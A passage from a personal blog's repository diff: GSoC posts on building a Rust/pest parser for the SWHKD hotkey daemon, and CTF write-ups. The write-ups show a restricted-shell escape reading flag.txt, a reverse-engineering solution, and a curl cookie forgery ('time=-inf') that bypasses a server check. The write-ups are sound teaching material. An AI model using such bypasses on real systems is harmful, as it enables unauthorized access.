redirect the output to `stdin`. However, we need a command that does not have the restricted
characters. One such command would be `tail` which, by default, reads the last 10 lines of a file.
```
eval tail flag.txt >&0 # Redirect to stdin
```
This gives us the flag `FLAG-s9wXyc9WKx1X6N9G68fCR0M78sx09D3j`.

View File

@@ -0,0 +1,163 @@
---
title: "Test Driven Development - The Pinnacle of Engineering"
date: 2024-06-24T08:45:49+05:30
tags:
- EBNF
- Google Summer of Code
- Rust
- SWHKD
- Waycrate
- Wayland
draft: false
---
Hello and welcome to the seventh instalment in the series where we build a
parser for a domain specific language in Rust. I would highly recommend you to
go through the previous articles to make sense of what well talk about today.
## Tying loose ends
Up until the last post, we had covered quite some ground, from building
elementary expressions to the penultimate levels of abstraction for macroscopic
expressions.
Let's begin today's conversation by finishing off where we left off. For us to
be able to parse an entire config file, we must have one main rule. We combine
all of the primitives that we have built so far: comments, modes, bindings,
unbinds and imports into a blanket content expression.
```ebnf
content = _{ comment | mode | unbind | binding | import | NEWLINE }
```
Obviously, a configuration file in the wild might very well have more than
one of the aforementioned primitives. Thus, to top it all off, we build a
final `main` expression that we subsequently use in the code side to match the
contents of a file.
```ebnf
main = {
SOI ~ content* ~ EOI
}
```
The expression starts with a `SOI` or a _start of identifier_ which is a fancy
way of saying start of a file in [pest](https://pest.rs). It may contain zero or
more of the blanket `content` expressions that we defined a while ago. Finally,
we have to mark it with an `EOI`, which stands for _end of identifier_.
## Writing tests
Writing tests for this parser proved to be a relatively straightforward task,
as many of them were already available from the previous version of the parser.
This allowed us to both port the basic tests as well as build upon existing test cases
that specifically targeted the changes made in this iteration.
The original crate made use of `std::io::Result` instead of defining its own error type
and while offloading the errors to an already available type might sound like less work,
it often meant that the grammar related errors had to be unwraps, panics, asserts or in
the worst case, just unrelated to `io::Result` itself.
Tell me, how does a missing identifier error make sense as an `io::Error`? It doesn't,
that's why we are using the standard `Result` type with the error generic type to be
our custom error type.
Thus, the tests we're writing have the general signature like so:
```rust
#[test]
fn test_multiple_keybinds() -> Result<(), ParseError> { /* ... */ }
```
A significant portion of these tests involved asserting that keybinds in the
config files matched their internal representations. We do this by defining
a known representation (starting off with a close enough guess) and asserting
whether it matches what has been parsed.
Consider the `test_command_with_many_spaces` test: we define the raw contents
and let the parser ingest it.
```rust
let contents = "
p
xbacklight -inc 10 -fps 30 -time 200
";
let parsed = SwhkdParser::from(&contents)?;
```
Following this, we define what we know is going to be the internal representation.
```rust
let known = vec![Binding {
definition: Definition {
modifiers: vec![],
key: Key::new("p", KeyAttribute::None),
},
command: String::from("xbacklight -inc 10 -fps 30 -time 200"),
}];
```
Finally, we assert whether these two bindings actually match.
```rust
assert_eq!(parsed.bindings, known);
```
Furthermore, some error tests became trivially easy thanks to the pest crate's
ability to generate meaningful errors. All we had to do was assert whether a
given result was an error or not, which greatly simplified the testing process.
Consider the following test where we simply use the `is_err` method to check for errors.
```
#[test]
fn test_invalid_keybinding() {
let contents = "
p
xbacklight -inc 10 -fps 30 -time 200
pesto
xterm
";
assert!(SwhkdParser::from(&contents).is_err());
}
```
In the future, we can take advantage of the extensibility and check for line and column
numbers to be extra precise.
While porting the tests, I also came across a bug where using a single letter for a binding
would be ignored. Turns out that a multi cartesian product of a vector of vectors
(all the modifier variant groups) works fine with a vector of keys except when all
modifier groups are empty. In such a case, the multi cartesian product has no output.
Mathematically, the cartesian product of {phi, phi, ..., phi} is phi but the cartesian product of
{} yields no value at all. Thus, we had to create a small check as a fix before blinding computing the cartesian products.
```rust
fn compile(self) -> Vec<Definition> {
if self.modifiers.is_empty() {
return self
.keys
.into_iter()
.map(|key| Definition {
modifiers: vec![],
key,
})
.collect();
}
self.modifiers
.into_iter()
.multi_cartesian_product()
.cartesian_product(self.keys)
.map(|(modifiers, key)| Definition { modifiers, key })
.collect()
}
```
Here, in the case where there are no modifiers variant groups, we instead anchor on the keys and
generate the definitions.
Okay. I know that was a long read. It took me quite some time to write this too but hopefully, you
can learn from my mistakes and embrace testing slightly ahead of time. See you soon.

View File

@@ -0,0 +1,171 @@
---
title: "Wrapping up GSoC 2024"
date: Sat, 24 Aug 2024 10:28:50 +0530
tags:
- EBNF
- Google Summer of Code
- Rust
- SWHKD
- Waycrate
- Wayland
draft: false
---
# Overview
Hello and welcome to the final GSoC post for 2024! My task was to formalize the SWHKD parser using context-free EBNF notation. This post is to serve as a birdseye view of what
I have developed over this summer.
# Report
## Architecting the parser
I started out with the scaffolding of the parser in an extended Backus-Naur form garmmar template
in a separate repository called [SWEET](https://github.com/waycrate/sweet) using a Rust framework
called [pest.rs](https://pest.rs). Quite a lot of time was
spent in modelling the architecture of the syntax tree for our domain specific language.
Here's a simplified syntax tree of the grammar parser.
![A flowchart showing the working of the abstract syntax tree](/sweet-architecture.svg)
One of the most helpful design choices was to have an acyclic dependency graph which enabled composing
expressions into larger blocks.
## Isolating shorthands into separate expressions
Shorthands expressions inside curly braces which were previously parsed dynamically have now been moved
to work statically from the grammar side itself. This has two advantages:
- The matching of both comma separated _"slices"_ and dash separated _"ranges"_ can be proven from the grammar template itself.
- Due to the greedy token matching of EBNF, the negative lookaheads guarantee a finite number of tokens to match a slice or range.
- Extracting the components inside these blocks are performed in a single pass.
The latter is a theme that will continue throughout the rest of this report.
## Adopting static checks
Many of the earlier hand-rolled checks have now been moved to the grammar side and are now performed statically.
We are borrowing a concept from the Rust programming language itself which promotes making invalid states unrepresentable.
One such example is validating characters inside ranges. The specification requires these characters
to be within the ASCII range. We define this constraint inside the grammar template itself.
This way, if some invalid input is supplied, it never hits the business logic and the program errors out early.
## Separating channels of commands and mode instructions
SWHKD supports entering or escaping a mode by placing special instructions after the double ampersands between two commands.
Previously,
these instructions were extracted from the commands dynamically right before they were being run
line by line. This led to edge cases where the command being run is not what the user intended.
To sanitize this, we perform static extraction of these modes in the context of an entire block of
commands. We create a separate structure linked to a command structure that can hold arbitrarily many of these mode instructions
and the instructions are run only after all the command chunks have been executed.
## Unified shorthand syntax
This is one of the breaking changes introduced in the new parser.
Previously, when modifiers were
used inside shorthands, one could place the concatenator (plus sign) either outside or inside the
braces. This allowed somewhat off looking combinations like these:
```
{super, control + } + a
notify-send {'hello', 'goodbye'}
```
This was allowed because the older parser simply ignored the concatenator, using the closing curly
brace as a confirmation for the end of a shorthand.
The new parser disallows this behavior. When using multiple modifiers, one must simply place an concatenator after the shorthand ends.
The above example then turns into the following:
```
{super, control} + a
notify-send {'hello', 'goodbye'}
```
Now there's at most one way to do shorthands correct:
- A shorthand must contain at least two variants. It makes no sense to use shorthands otherwise.
- Any literal like a comma or a curly brace inside a shorthand must be escaped
- Literals do not need to be escaped outside shorthand contexts.
- Shorthands with omissions (underscore elements) must always have a concatenator appended to each non-empty element. For example, unlike `{control, super} + a`, in `{_, super + } a` adding a plus to `super` inside the shorthand is the only valid syntax.
A good comparison would be bash or Rust macro expansions. Here's an animation as to how we perform
a "compilation".
![](/swhkd-macro-compilation.gif)
The new parser simply keeps track of shorthand values including ranges and slices as long as it is
ingesting newer content. These shorthands are lazily evaluated in the end when all files, including
imports have been ingested.
## More human friendly errors
One of the most difficult ways to get a working config for a tool like SWHKD is the lack of helpful
errors. The new parser addresses most of these issues. With the pest crate, we have been able to
provide rich contextual errors. Here's an example:
```
Error: unable to parse config file
Caused by:
--> hotkeys.swhkd:20:11
|
20 | super + k + control
| ^---
|
= expected command
```
Instead of just printing what the error was, we try to help the user by letting them know about what
the parser expected, where in the source file does the error exists and any suggestion available to
fix the error.
This not only applies to the grammar errors but to all of the errors in the business logic. Here's an
example of when the number of shorthand variants in the trigger don't match the number of command variants.
```
Error: unable to parse config file
Caused by:
--> 35:1
|
35 | super + {alt + , _, shift + } a
36 | notify-send 'hello'␊
| ^------------------^
|
= the number of possible binding variants 3 does not equal the number of possible command variants 1.
```
Our custom error
structures wrap around pest's error types to provide such additional context as and when needed.
## Precautions
Before parsing any config files supplied as input, we perform the following sanity checks:
- Ensure that the files are within the predefined file-size capacity. This capacity can be configured
during compilation by modifying the `build.rs` file.
- Ensure the file being supplied is a regular file. This is a cautionary measure against an older [CVE-2022-27814](https://github.com/advisories/GHSA-x446-3xhq-5xfp).
# Relevant links
- Source tree for the parser: [waycrate/sweet](https://github.com/waycrate/sweet)
- PR to integrate `sweet` into `swhkd`: [#265](https://github.com/waycrate/swhkd/pull/265)
# Conclusion
Debugging a context free grammar syntax like EBNF was certainly challenging although this issue was solved
relatively easily thanks to the excellent editor provided at the [pest.rs](https://pest.rs) website. The parser
has reached complete feature parity, being slightly stricter in some cases as I
had planned with my mentor, Aakash Sen Sharma. Huge thanks to him for the helping me out with getting familiar
with the codebase quickly. The rest of the waycrate community has also been incredibly warm and welcoming.
I plan to add a heuristics model to SWHKD for detecting input devices better and more generally
to continue improving SWHKD. Feel free to check out related posts [here](https://lavafroth.is-a.dev/tags/google-summer-of-code) that go deeper into the process
of building this parser. This has been my GSoC 2024, thank you so much for reading this!

View File

@@ -0,0 +1,127 @@
---
title: "Timing is Key: A Tale of Keystrokes and Timings"
date: 2024-05-29T21:18:22+05:30
tags:
- EBNF
- Google Summer of Code
- Rust
- SWHKD
- Waycrate
- Wayland
draft: false
---
Whether you're playing a video game or competing in a constrained attack-defense CTF, your keystroke timings matter.
We at waycrate value your precision, to the extent that you can configure your keybindings to perform actions either
on a key's press or a release.
Hi, my name's Himadri and this post is a part of a series explaining how
we (basically just me) are rewriting the config parser for swhkd using EBNF
grammar. I highly recommend reading the previous posts because I'll be referring
to them from time to time. In the last post, we talked about regular keys
that form the foundation of bindings. However, we glossed over the `send` and
`on_release` expressions in the code.
The `send` and `on_release` attributes are extensions that could be added to regular keys to be more specific about
the timing of an event. To make a binding respond to either key presses or releases, they are prefixed with the `~`
or the `@` characters respectively.
![](/swhkd-send-release.gif)
For example, a bindings with that responds to `super` `a` can be made to respond specifically to the keypress instead
of the key release like the following:
```
super + ~a
notify-send 'hello'
```
Now, to encode this as a formal grammar, we need to observe that these
attributes can be used both inside and outside shorthand contexts. This means,
the binding declarations `super + ~a` and `super + {@a, ~b}` are equally valid.
Intuitively, this begs the question of how keys like `~` or `@` could be specified literally.
The answer is similar to what we did for commas and dashes in shorthand contexts, we need
to escape the keys. The only difference this time is that the keys are escaped both inside
and outside shorthand contexts. In retrospective, the plus sign that has been serving as
the concatenator also needs to be escaped for literal representation.
To fix this, let's declare a convenience expression called `keys_always_escaped`.
```python
keys_always_escaped = _{ "\\~" | "\\@" | "\\+" }
```
This is how we will allow the user to literally mention a tilde or a plus.
Next, we modify the expression for a regular `key` to include these escaped literals besides the regular
ASCII alphanumeric characters.
We change the expression from
```python
key = { ^"enter" | ^"return" | ASCII_ALPHANUMERIC }
```
to the following:
```python
key = { keys_always_escaped | ^"enter" | ^"return" | ASCII_ALPHANUMERIC }
```
Don't worry, we will add other symbols like semicolons, parentheses and the like to this expression
but we are starting off being a bit restrictive so that we can catch errors early.
We have to compensate for this change for the code side as well. This is the first time you'll see
real code from the project besides the formal grammar.
```rust
#[derive(Debug, Clone)]
pub struct Key {
pub key: String,
pub attribute: KeyAttribute,
}
```
Notice how the `Key` variant has a field called `attribute` of type
`KeyAttribute`. This `KeyAttribute` is a bitflag represented by a
`u8` or a single byte. Why a single byte? Because it makes the underlying data
fairly inexpensive to copy. Although a boolean value should ideally be represented
by a single bit, most modern processor architectures use a single byte to represent them.
Bitflags can help us shave off the unused space.
We are using macros fromthe bitflag crate since Rust
does not natively have C-styled bitflags.
```rust
bitflags::bitflags! {
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)]
pub struct KeyAttribute: u8 {
const None = 0b00000000;
const Send = 0b00000001;
const OnRelease = 0b00000010;
const Both = Self::Send.bits() | Self::OnRelease.bits();
}
}
```
According to the bitflag, the variant `None` is internally represented by a `0`,
`Send` is represented as a `1`, `OnRelease` as `2`, etc. Since all we care about
is whether an attribute is there or not, we can use a single bit as a bin for
each attribute. Any time we see one of the variants, we bitwise or the current
attribute set to flip the respective bit on.
```rust
match inner.as_rule() {
Rule::send => attribute |= KeyAttribute::Send,
Rule::on_release => attribute |= KeyAttribute::OnRelease,
Rule::key => key = pair_to_string(inner),
_ => {}
}
```
This saves us from writing cumbersome if statements that would have made more
sense if counting the occurrences was involved.
That's all for today, I hope you were impressed by the bitwise trick. In the
next post, I will talk about how I'm implementing the grammar for modifier keys
and how they can be different from regular keys. See you soon!

View File

@@ -0,0 +1,583 @@
---
title: "Volcano"
tags:
- AmateursCTF
- CTF
- Remainder Theorem
- Reverse Engineering
date: 2023-07-21T18:29:59+05:30
draft: false
---
This reversing challenge is very mathematical, focusing mainly on modulo congruences.
Like all challenges, there is some scary looking obfuscation for the fun which I'll try my best to
explain. The challenge description says that it was *inspired by recent "traumatic" events* but I'm oblivious to what that
reference meant.
## Decompilation
We start off with downloading the binary and opening it in Ghidra.
In the list of functions under the Symbol Tree, we can navigate to the `entry` function which looks like:
```C
void processEntry entry(undefined8 param_1,undefined8 param_2)
{
undefined auStack_8 [8];
__libc_start_main(FUN_001014a7,param_2,&stack0x00000008,FUN_00101760,FUN_001017d0,param_1,auStack_8);
do {
/* WARNING: Do nothing block with infinite loop */
} while( true );
}
```
Notice the call to `__libc_start_main`, the first argument supplied is a function pointer which points to the main function.
I have a habit of renaming variables in Ghidra so that they make some sense. I will rename this function to `main`.
```C
__libc_start_main(main,param_2,&stack0x00000008,FUN_00101760,FUN_001017d0,param_1,auStack_8);
```
### `main`
If we double click on the newly renamed `main` function, we will see a function that has a massive cyclomatic complexity in the decompiler view.
I will try to make this more sensible by selecting the generated identifiers, then renaming (pressing `L`) and retyping (`Ctrl` `L`).
```C
int main(void)
{
bool ok;
bool _ok;
int ret;
long n_volcano;
long n_bear;
ulong m_v;
ulong m_b;
long fs_register;
ulong bear;
ulong volcano;
ulong proof;
ulong leet;
FILE *flag;
char buf [136];
long canary;
canary = *(long *)(fs_register + 0x28);
setbuf(stdin,(char *)0x0);
setbuf(stdout,(char *)0x0);
setbuf(stderr,(char *)0x0);
printf("Give me a bear: ");
bear = 0;
scanf("%llu",&bear);
ok = process_bear(bear);
if (ok) {
printf("Give me a volcano: ");
volcano = 0;
scanf("%llu",&volcano);
_ok = process_volcano(volcano);
if (_ok) {
printf("Prove to me they are the same: ");
proof = 0;
leet = 0x1337;
scanf("%llu",&proof);
if (((proof & 1) == 0) || (proof == 1)) {
puts("That\'s not a valid proof!");
ret = 1;
}
else {
n_volcano = n_digits(volcano);
n_bear = n_digits(bear);
if (n_volcano == n_bear) {
n_volcano = sum_of_digits(volcano);
n_bear = sum_of_digits(bear);
if (n_volcano == n_bear) {
m_v = check_proof(leet,volcano,proof);
m_b = check_proof(leet,bear,proof);
if (m_v == m_b) {
puts("That looks right to me!");
flag = fopen("flag.txt","r");
fgets(buf,0x80,flag);
puts(buf);
ret = 0;
goto LAB_00101740;
}
}
}
puts("Nope that\'s not right!");
ret = 1;
}
}
else {
puts("That doesn\'t look like a volcano!");
ret = 1;
}
}
else {
puts("That doesn\'t look like a bear!");
ret = 1;
}
LAB_00101740:
if (canary != *(long *)(fs_register + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return ret;
}
```
The program asks for an unsigned long integer as a bear. It calls a subroutine to process the integer
and stores the result in the `ok` variable.
```C
printf("Give me a bear: ");
bear = 0;
scanf("%llu",&bear);
ok = process_bear(bear);
```
The next block only executes when `ok` is true.
```C
if (ok) {
// ...
}
```
Inside this block, the program for another unsigned long integer as before but calls it a volcano, running
a check specific to this input.
```C
printf("Give me a volcano: ");
volcano = 0;
scanf("%llu",&volcano);
_ok = process_volcano(volcano);
```
The next conditional block executes when this `process_volcano` subroutine return true.
```C
if (_ok) {
// ...
}
```
The program then asks for another unsigned long integer as a proof for the *"volcano"* and the *"bear"* being the same.
```C
printf("Prove to me they are the same: ");
proof = 0;
leet = 0x1337;
scanf("%llu",&proof);
```
If the proof value's last bit (`proof & 1`) is 0, meaning if the proof is even or it is 1, we get the bad ending
that says, "That's not a valid proof!"
```C
if (((proof & 1) == 0) || (proof == 1)) {
puts("That\'s not a valid proof!");
ret = 1;
}
```
For the good ending, we check what's in the `else` block.
Here, I have renamed two functions to `n_digits` and `sum_of_digits` because that is exactly what they do.
There's nothing worth explaining about them in particular but you may check them if you are following along.
First we need the number of digits in the volcano and bear digits to be equal.
```C
n_volcano = n_digits(volcano);
n_bear = n_digits(bear);
if (n_volcano == n_bear) {
// ...
}
```
Our second constraint is that the sum of the digits must equal for the volcano and the bear.
```C
n_volcano = sum_of_digits(volcano);
n_bear = sum_of_digits(bear);
if (n_volcano == n_bear) {
// ...
}
```
Finally the happy ending happens when the result of a proof checking function is the same for both the numbers.
```C
m_v = check_proof(leet,volcano,proof);
m_b = check_proof(leet,bear,proof);
if (m_v == m_b) {
puts("That looks right to me!");
flag = fopen("flag.txt","r");
fgets(buf,0x80,flag);
puts(buf);
ret = 0;
goto LAB_00101740;
}
```
Now, I will visit the functions that I had glossed over earlier.
### `process_bear`
The decompilation looks like the following after some renaming and cleanup.
```C
bool process_bear(ulong b) {
if ((b & 1) == 0) {
if (b % 3 == 2) {
if (b % 5 == 1) {
if (b + ((b - b / 7 >> 1) + b / 7 >> 2) * -7 == 3) {
if (b % 0x6d == 0x37) {
return true;
}
}
}
}
}
return false;
}
```
This function gives us the constraints for the unsigned long integer represented by "bear".
The function only returns true when all of the following conditions are met by the number:
- The last bit is zero (`b & 1 == 0`), meaning, it is even.
- When divided by 3, yields the remainder of 2.
- When divided by 5, yields the remainder of 1.
- When divided by 0x6d, yields the remainder of 0x37.
- The madness that is `b + ((b - b / 7 >> 1) + b / 7 >> 2) * -7 == 3`
Okay, calm down, the last part is not very hard to decipher. Let's work it out piece by piece.
The right shift operation (`>>`) implies division by 2 to the power of something. So the innermost parenthetic expression
`b - b / 7 >> 1` means to divide `b - b / 7` by 2 to the power of 1.
When considered as a purely mathematical expression, we can perform the following simplification.
{{< math volcano-expression-0.svg >}}
{{< math "volcano-expression-1.svg" >}}
{{< math "volcano-expression-0.svg" >}}
{{< math "volcano-expression-1.svg" >}}
{{< math "volcano-expression-2.svg" >}}
{{< math "volcano-expression-3.svg" >}}
{{< math "volcano-expression-4.svg" >}}
{{< math "volcano-expression-5.svg" >}}
We can cancel the 4s in the numerator since they were results of the shift operations.
{{< math "volcano-expression-6.svg" >}}
However, we cannot cancel out the 7s since they were part of the C division.
Remember, the divison operation in C results in the truncated integer quotient, not a floating point number.
This means
{{< math "volcano-expression-7.svg" >}}
here gives us the largest multiple of 7 below `b`.
Another way to think of it is the part of `b` that is divisible by 7, leaving out the remainder.
When we subtract this from the original number, we get what was left out, the remainder itself!
The entire condition simplifies to:
```C
b % 7 == 3
```
This will be another constraint for the `bear` number.
### `process_volcano`
The decompilation after renames and cleanups looks like the following:
```C
bool process_volcano(uint64_t v) {
uint64_t total_bits = 0;
for (uint64_t i = v; i != 0; i = i >> 1) {
total_bits = total_bits + (i & 1);
}
if (total_bits > 0x11) && (total_bits < 0x1b) {
return true;
}
return false;
}
```
Here the program loops over the bits in the number supplied and counts the ones that are high.
The function only returns a true value when the total number of high bits is between 17 (0x11, inclusive) and 27 (0x1b, exclusive).
This is a constraint for the `volcano` number.
### `check_proof`
As usual, I have cleaned some of the code, renamed a bunch of variables for them to make sense.
```C
uint64_t check_proof(uint64_t leet, uint64_t v, uint64_t proof) {
uint64_t ret = 1, mod = leet % proof;
for (uint64_t i = v; i != 0; i = i >> 1) {
if (i & 1) {
ret = (ret * mod) % proof;
}
mod = (mod * mod) % proof;
}
return ret;
}
```
This function begins by defining a return variable as 1 and another variable `mod` as result of the `leet` modulo the proof value. I have renamed this
variable leet since 0x1337 is the only number supplied as the argument throughout the program.
It then loops over the bits of the argument `v`. If a given bit is high, the return value gets assigned itself multiplied by the `mod`, modulo the proof value.
Otherwise, the `mod` variable gets assigned itself squared, modulo the proof.
Recall that the result of this function must be equal for both the `volcano` and the `bear` number.
How do we make sure that the results are equal if there is so much of pseudo-randomness involved?
Our best option is to somehow have the `mod` variable as 1 since anything times 1 is itself.
The return value in such a case is bound to its initial value of 1 for any non-zero proof value.
For this to happen, `leet % proof` must be equal to 1. Noting that 0x1337 (4919) is the only value passed as leet,
we have the constraint
{{< math "volcano-expression-8.svg" >}}
The congruence can be rewritten as:
{{< math "volcano-expression-9.svg" >}}
{{< math "volcano-expression-10.svg" >}}
{{< math "volcano-expression-11.svg" >}}
Earlier, we noted that the proof value cannot be 1 and it cannot be even.
Thus, we need an odd proof value that divides 4918 without leaving any remainder.
The number 2 divides 4918 to give 2459, a prime number.
This implies, 2 and 2459 are the prime factors of 4918. Since 2 is even, we will choose **2459** as the proof value.
## Solving for the `volcano` and the `bear`
I will be writing a little Rust program to solve for the remaining constraints.
We know that the `volcano` number must have at least 17 high bits and at most 27 high bits. Hence, we will begin by
generating numbers that have 17 high bits and 1 low bit.
```rust
let ones = 17;
let bits = ones + 1;
let volcanos = (0..bits)
.map(|position| (1 << position) ^ ((1 << bits) - 1))
.collect::<Vec<i32>>();
```
This gives us numbers that have a binary representation like:
```rust
111111111111111110
111111111111111101
111111111111111011
111111111111110111
// and so on
```
For any of these numbers we wish to find a `bear` number that:
- is even
- yields the remainder of 2 when divided by 3
- yields the remainder of 1 when divided by 5
- yields the remainder of 3 when divided by 7
- yields the remainder of 55 when divided by 109
- has the same number of digits as the `volcano`
- has the same sum of digits as the `volcano`
The naive, inefficient solution would be to loop from 1 to infinity and check for each condition manually.
The code would look like the following:
```rust
for bear in 1.. {
if bear % 2 == 0
&& bear % 3 == 2
&& bear % 5 == 1
&& bear % 7 == 3
&& bear % 109 == 55
&& sum_and_number_of_digits(bear) == sum_and_number_of_digits(volcano)
{
// do something
}
}
```
Since most of the conditions are modulo congruence checks, we can use the Chinese Remainder Theorem
to solve for the smallest number that leaves the respective remainders and begin from there.
Let `a` be the array of all the moduli 2, 3, 5, 7 and 109.
{{< math "volcano-expression-12.svg" >}}
Let `r` represent the array of the respective remainders.
{{< math "volcano-expression-13.svg" >}}
We begin by calculating `n` as the product of all the moduli.
{{< math "volcano-expression-14.svg" >}}
We construct `m` containing the modulus of each equation by diving `n` by each element of `a`.
{{< math "volcano-expression-15.svg" >}}
We then calculate the multiplicative modular inverse of the aforementioned moduli with respect to the original moduli.
{{< math "volcano-expression-16.svg" >}}
> The modular inverse of a number `x` modulo `m` is the number `x_inv` such that its product with `x` mod `m` is 1.
>
> {{< math "volcano-expression-17.svg" >}}
We now multiply the calculated moduli and their inverses to find out the constants that leave the remainder 1.
Let's name this array of constants as `c`.
{{< math "volcano-expression-18.svg" >}}
We multiply the remainder with each constant and add them up. The final unique solution is this number modulo `n`.
{{< math "volcano-expression-19.svg" >}}
The code implementation looks like the following:
```rust
let moduli = [2, 3, 5, 7, 109];
let remainders = [0, 2, 1, 3, 55];
let n: i32 = moduli.iter().product();
let generated: Vec<i32> = moduli.iter().map(|m| n / m).collect();
let inverses: Vec<i32> = generated
.iter()
.zip(moduli.iter())
.filter_map(|(a, m)| modinverse::modinverse(*a, *m))
.collect();
let s: i32 = inverses
.iter()
.zip(generated.iter())
.zip(remainders.iter())
.map(|((m, m_inv), r)| m * m_inv * r)
.sum();
let solution = s % n;
```
Here, I'm using the [modinverse](https://docs.rs/modinverse/latest/modinverse/) crate so that I don't have to implement it manually. If you are following along,
run the following to add it to your Rust project:
```sh
cargo add modinverse
```
For all the `volcano` numbers generated we search for a `bear` number starting from the unique `solution` and stepping by the product of all the moduli, `n`.
Again, if any of the `bear` values has the same number of digits and the same sum of digits as the volcano number, it is valid.
```rust
for volcano in volcanos {
let v_digits = digits(volcano);
for bear in (solution..volcano).step_by(n as usize) {
if digits(bear) == v_digits {
println!("volcano: {volcano}, bear: {bear}");
}
}
}
```
Here `digits` is a function that returns a tuple of the number of digits and sum of digits for an argument.
The complete program source code becomes the following:
```rust
fn digits(mut n: i32) -> (i32, i32) {
let mut c = 0;
let mut r = 0;
while n != 0 {
r += n % 10;
n /= 10;
c += 1;
}
(c, r)
}
fn main() {
let ones = 17;
let bits = ones + 1;
let volcanos = (0..bits)
.map(|position| (1 << position) ^ ((1 << bits) - 1))
.collect::<Vec<i32>>();
let moduli = [2, 3, 5, 7, 109];
let remainders = [0, 2, 1, 3, 55];
let n: i32 = moduli.iter().product();
let generated: Vec<i32> = moduli.iter().map(|m| n / m).collect();
let inverses: Vec<i32> = generated
.iter()
.zip(moduli.iter())
.filter_map(|(a, m)| modinverse::modinverse(*a, *m))
.collect();
let constants_sum: i32 = inverses
.iter()
.zip(generated.iter())
.zip(remainders.iter())
.map(|((m, m_inv), r)| m * m_inv * r)
.sum();
let solution = constants_sum % n;
for volcano in volcanos {
let v_digits = digits(volcano);
for bear in (solution..volcano).step_by(n as usize) {
if digits(bear) == v_digits {
println!("volcano: {volcano}, bear: {bear}");
}
}
}
}
```
If we run the program using `cargo run`, we get multiple unqiue solutions to the problem:
```
volcano: 262139, bear: 132926
volcano: 262139, bear: 201596
volcano: 262079, bear: 155816
volcano: 262079, bear: 224486
volcano: 258047, bear: 155816
volcano: 258047, bear: 224486
volcano: 196607, bear: 178706
```
Now we can connect to the challenge server, supply any of the solutions and get the flag.
```sh
nc amt.rs 31010
```
```
Give me a bear: 132926
Give me a volcano: 262139
Prove to me they are the same: 2459
That looks right to me!
amateursCTF{yep_th0se_l00k_th3_s4me_to_m3!_:clueless:}
```

View File

@@ -0,0 +1,127 @@
---
title: "Waiting an Eternity"
tags:
- AmateursCTF
- CTF
- Cookies
- Web
date: 2023-07-19T07:53:17+05:30
draft: false
---
This was a fairly straightforward and fun challenge that required a bit of common sense to solve.
We are given the URL https://waiting-an-eternity.amt.rs to begin with.
Let's use `curl` with its verbose flag to fetch this URL.
```sh
curl -v "https://waiting-an-eternity.amt.rs"
```
We get a response that tells us to wait an enternity.
```
> GET / HTTP/2
> Host: waiting-an-eternity.amt.rs
> User-Agent: curl/8.1.1
> Accept: */*
>
< HTTP/2 200
< content-type: text/html; charset=utf-8
< date: Tue, 18 Jul 2023 04:28:52 GMT
< refresh: 1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; url=/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a
< server: gunicorn
< content-length: 21
<
* Connection #0 to host waiting-an-eternity.amt.rs left intact
just wait an eternity
```
On closer inspection, the refresh header with the gigantic number sticks out like a sore thumb.
```
refresh: 1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; url=/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a
```
The refresh header is a non-standard but widely supported HTTP header that redirects to the URL present in the `url` field
after the specified timout in seconds.
In our case, this means that after one octovigintillion seconds, we would finally get redirected to `/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a`.
Since I'm rather impatient, I'll proceed to visiting the redirect location. We will use the same technique as earlier, fetch the URL
using `curl` in its verbose settings.
```sh
curl -v "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a"
```
This results in another slightly different response that tells us to wait another eternity.
```
> GET /secretsite?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a HTTP/2
> Host: waiting-an-eternity.amt.rs
> User-Agent: curl/8.1.1
> Accept: */*
>
< HTTP/2 200
< content-type: text/html; charset=utf-8
< date: Tue, 18 Jul 2023 04:44:02 GMT
< server: gunicorn
< set-cookie: time=1689655442.2456439; Path=/
< content-length: 38
<
* Connection #0 to host waiting-an-eternity.amt.rs left intact
welcome. please wait another eternity.
```
There is another difference in the headers of the response. This time, instead of the `refresh` header, we can notice a `set-cookie` header
with the `time` cookie set to a floating point number.
```
set-cookie: time=1689655442.2456439; path=/
```
Let's try setting this `time` cookie to 0 using the `-b` flag with `curl`.
```sh
curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
-b "time=0"
```
The response tells us that we haven't waited enough.
```
you have not waited an eternity. you have only waited 1689655538.27981 seconds
```
This is better than the previous message as the server thinks we have at least waited some time. Since 0 is less than the default value
1689655442.2456439 we encountered before, let's try supplying an even smaller number like -1000.
```sh
curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
-b "time=-1000"
```
The response says:
```
you have not waited an eternity. you have only waited 1689657530.625615 seconds
```
Notice how 1689657530.625615 in the second response is greater than 1689655538.27981 from the first response.
This implies, for smaller values supplied to the `time` cookie, the time we have waited increases.
The last piece to the puzzle is that the `time` cookie is a floating point number. According to the IEE 754 floating
point specifications, these numbers must also be able to represent signed zeros, things that are not a number (NaN) and
*signed infinities*. To wait an eternity, we can supply the most negative value possible, `-inf`.
```sh
curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
-b "time=-inf"
```
This finally gives us our flag.
```
amateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}
```

View File

@@ -0,0 +1,35 @@
---
title: "Wayland Tools Rock!"
date: 2024-05-17T07:52:44+05:30
tags:
- Wayland
- Rust
- SWHKD
- EBNF
- Google Summer of Code
draft: false
---
Hey folks. Quite a few months have passed since I last posted here.
As you might have known from my earlier posts, I've been daily driving
Wayland instead of Xorg on my NixOS setup for quite some time now.
One of the tools I stumbled upon while writing my voice automation abomination
was SWHKD (Simple Wayland HotKey Daemon). It's a spiritual successor to sxhkd from the Xorg world
and in a sense better than the former because it works not only in wayland sessions but also
under X and TTY sessions!
